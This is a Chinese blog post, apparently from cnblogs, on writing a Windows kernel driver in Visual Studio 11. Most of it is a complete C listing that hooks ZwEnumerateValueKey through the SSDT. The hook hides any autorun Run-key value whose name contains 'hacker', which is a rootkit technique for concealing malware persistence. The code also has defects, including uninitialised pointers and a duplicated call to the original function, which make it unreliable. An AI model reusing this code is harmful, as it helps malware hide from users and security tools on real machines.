zoukankan      html  css  js  c++  java
  • 用Visual studio11在Windows8上开发内核驱动隐藏注册表

    在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破。在Windows 95中,至少应用程序I/O操作是不受限制的,而在Windows NT中,我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
    在Windows NT中,存在三种Device Driver:

      1.“Virtual device Driver” (VDD)。通过VDD,16位应用程序,如DOS 和Win16应用程序可以访问特定的I/O端口(注意,不是直接访问,而是要通过VDD来实现访问)。

      2.“GDI Driver”,提供显示和打印所需的GDI函数。

      3.“Kernel Mode Driver”,实现对特定硬件的操作,比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

     

     

    Visual studio11与Windows8带来格外不同的新体验

     

    1.启动Vs11

    2.看见满目的驱动开发模板

    3.选择一个驱动模式,有内核模式与用户模式两种的驱动

     

    4.创建一个驱动程序,KMDF DriverMVP

     

    5.我们选择的是内核模式的驱动程序,下面是创建成功后的界面,分别是驱动程序本身,与驱动安装包

    6.按下F5,选择驱动编译,

     


    插入下列代码实现ring0层隐藏注册表,请见代码分析

    #include <ntddk.h>
    
    extern NTSYSAPI NTSTATUS NTAPI 
    ObQueryNameString(
    	IN PVOID  Object,
    	OUT POBJECT_NAME_INFORMATION  ObjectNameInfo,
    	IN ULONG  Length,
    	OUT PULONG  ReturnLength
        );
    
    extern NTSYSAPI NTSTATUS NTAPI 
    ZwEnumerateValueKey(
    	IN HANDLE  KeyHandle,
    	IN ULONG  Index,
    	IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
    	OUT PVOID  KeyValueInformation,
    	IN ULONG  Length,
    	OUT PULONG  ResultLength
        );
    
    //声明原有的函数
    typedef NTSTATUS (*REALZWENUMERATEVAlUEKEY)(
    		IN HANDLE  KeyHandle,
    		IN ULONG  Index,
    		IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
    		OUT PVOID  KeyValueInformation,
    		IN ULONG  Length,
    		OUT PULONG  ResultLength
    		);
    
    //定义原函数的指针
    REALZWENUMERATEVAlUEKEY RealZwEnumerateValueKey;
    
    //我们HOOK的函数
    NTSTATUS HookZwEnumerateValueKey(
    		 IN HANDLE  KeyHandle,
    		 IN ULONG  Index,
    		 IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
    		 OUT PVOID  KeyValueInformation,
    		 IN ULONG  Length,
    		 OUT PULONG  ResultLength
    		 );
    
    PCWSTR HideValue = L"hacker";
    
    // SYSTEMSERVICE 的定义 
    typedef struct ServiceDescriptorEntry 
    {
        unsigned int * ServiceTableBase;    // 关键字段, 指向系统服务分发例程的基地址     
        unsigned int * ServiceCounterTableBase; 
        unsigned int NumberOfServices; 
        unsigned char * ParamTableBase; 
    } 
    ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t; 
    __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
    #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]
    
    PVOID GetPointer( HANDLE handle )
    {
        PVOID pKey;
        if(!handle) 
    		return NULL;
        // ObReferenceObjectByHandle函数来获得这个Handle对应的FileObject, 得到的指针转换成文件对象的指针
        if(ObReferenceObjectByHandle( handle, 0, NULL, KernelMode, &pKey, NULL ) != STATUS_SUCCESS ) 
        {
            pKey = NULL;
        } 
        return pKey;
    }
    
    NTSTATUS 
    HookZwEnumerateValueKey(
    	IN HANDLE  KeyHandle,
    	IN ULONG  Index,
    	IN KEY_VALUE_INFORMATION_CLASS  KeyValueInformationClass,
    	OUT PVOID  KeyValueInformation,
    	IN ULONG  Length,
    	OUT PULONG  ResultLength
    )
    {
    
    
    	PVOID pKey;
    	UNICODE_STRING *pUniName;
    	ULONG actualLen;
    	ANSI_STRING keyname;
    	NTSTATUS status;
    	UNICODE_STRING uStrValueName;
    	PCWSTR ValueName;
    	
    	status = ((REALZWENUMERATEVAlUEKEY)(RealZwEnumerateValueKey))(
    								 KeyHandle,
    								 Index,
    								 KeyValueInformationClass,
    								 KeyValueInformation,
    								 Length,
    								 ResultLength );
    
        //得到文件对象的指针
    	if(pKey = GetPointer( KeyHandle))
    	{
    		//分配内存
    		pUniName = ExAllocatePool(NonPagedPool, 1024*2);
    		pUniName->MaximumLength = 512*2;
    
    		//将pUniName里的内容清空
    		memset(pUniName,0,pUniName->MaximumLength); 
    		
    		//得到注册表项的路径
    		if(NT_SUCCESS(ObQueryNameString(pKey, pUniName, 512*2, &actualLen)))
    		{
    			RtlUnicodeStringToAnsiString(&keyname, pUniName, TRUE);
    			keyname.Buffer=_strupr(keyname.Buffer);
    			
    			//判断是不是Run项
    			if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN") == 0)
    			{
    				switch (KeyValueInformationClass)
    				{
    				case KeyValueBasicInformation: //KEY_VALUE_BASIC_INFORMATION
    					ValueName = ((PKEY_VALUE_BASIC_INFORMATION)KeyValueInformation)->Name;
    					break;
    				case KeyValueFullInformation:  //KEY_VALUE_FULL_INFORMATION
    					ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
    					break;
    				}
    							
    				//判断ValueName里的值是否有hacker
    				//如果有则将函数返回STATUS_ACCESS_DENIED
    				if ((ValueName != NULL) && (wcsstr(ValueName,HideValue) != NULL))
    				{
    					DbgPrint("Hide Value\n");
    					RtlFreeAnsiString(&keyname); 
    					//释放内存
    					if(pUniName)
    					{
    						ExFreePool(pUniName); 
    					}
    					return STATUS_ACCESS_DENIED;
    				}
    				
    			}
    
    		}
    	}
    	status = RealZwEnumerateValueKey(KeyHandle,
    									Index,
    									KeyValueInformationClass,
    									KeyValueInformation,
    									Length,
    									ResultLength);
    	if(pUniName)
    	{
    		ExFreePool(pUniName); 
    	}
    	
    	return(status);
    
    }
    
    VOID 
      DriverUnload( 
        IN PDRIVER_OBJECT  DriverObject 
        )
    {
    	DbgPrint("驱动已经停止了\n");
    	(REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = RealZwEnumerateValueKey;
    }
    
    NTSTATUS 
      DriverEntry( 
        IN PDRIVER_OBJECT  DriverObject, 
        IN PUNICODE_STRING  RegistryPath 
        )
    {
    
    	DbgPrint("驱动已经加载了\n");
    
    	RealZwEnumerateValueKey = (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
        (REALZWENUMERATEVAlUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey)) = HookZwEnumerateValueKey; 
    
    	DriverObject->DriverUnload = DriverUnload;
    	return STATUS_SUCCESS;
    }



  • 相关阅读:
    Unable to resolve superclass of
    Android开发eclipse错误汇总
    Failed to fetch URL https://dl-ssl.google.com/android/repository/repository-6.xml, reason: Connection to https://dl-ssl.google.com refused
    INSTALL_FAILED_MISSING_SHARED_LIBRARY
    failed to create the java virtual machine
    Android 的一些提示框
    linux的mount(挂载)命令详解
    Mount挂载命令使用方法
    7Z命令行详解
    Android中Java与JavaScript之间交互(转)
  • 原文地址:https://www.cnblogs.com/new0801/p/6177699.html
Copyright © 2011-2022 走看看